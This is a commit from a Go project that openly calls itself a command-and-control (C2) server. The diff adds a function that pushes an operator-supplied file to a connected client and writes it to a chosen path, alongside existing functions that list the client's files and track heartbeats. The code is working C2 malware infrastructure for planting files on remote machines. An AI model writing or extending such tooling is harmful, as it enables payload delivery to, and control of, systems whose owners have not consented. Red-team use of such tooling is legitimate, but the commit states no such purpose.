Add C2 server function to upload files to client

This commit is contained in:
raul 2024-06-18 09:45:54 +02:00
parent a16b7c1720
commit c958ae49f6
1 changed files with 34 additions and 6 deletions

View File

@ -4,7 +4,9 @@ import (
"encoding/gob" "encoding/gob"
"encoding/json" "encoding/json"
"fmt" "fmt"
"io"
"log" "log"
"mime/multipart"
"net" "net"
"os" "os"
"time" "time"
@ -119,6 +121,30 @@ func handleConn(conn net.Conn) {
go Heartbeat(ID) go Heartbeat(ID)
} }
func uploadFileC2(client Client, file multipart.FileHeader, whereToStore string) (Response, error) {
openedFile, err := file.Open()
if err != nil {
log.Println(err)
}
byteArray, err := io.ReadAll(openedFile)
if err != nil {
log.Println(err)
}
inst := Instructions{
IsUpload: true,
FileName: file.Filename,
FileContents: byteArray,
Path: whereToStore,
}
client.Instruct(inst)
message, err := ServerMessageReceiver(client.Conn)
if err != nil {
log.Println(err)
return message, err
}
return message, nil
}
func requestFiles(client Client, path string) (Response, error) { func requestFiles(client Client, path string) (Response, error) {
inst := Instructions{ inst := Instructions{
IsListFiles: true, IsListFiles: true,
@ -160,16 +186,18 @@ func Heartbeat(ID int) {
} }
client.Instruct(inst) client.Instruct(inst)
resp, err := ServerMessageReceiver(client.Conn) resp, err := ServerMessageReceiver(client.Conn)
if err == nil && resp.Message == "PONG" { if err != nil {
if client.IsOnline != true {
client.IsOnline = true
}
} else {
log.Printf("Client %v is offline :(\n", client.ClientBasicInfo.Hostname) log.Printf("Client %v is offline :(\n", client.ClientBasicInfo.Hostname)
client.IsOnline = false client.IsOnline = false
return return
} }
if resp.Message != "PONG" {
continue
} else {
if client.IsOnline != true {
client.IsOnline = true
}
}
time.Sleep(time.Second * heartbeatRate) time.Sleep(time.Second * heartbeatRate)
} }
} }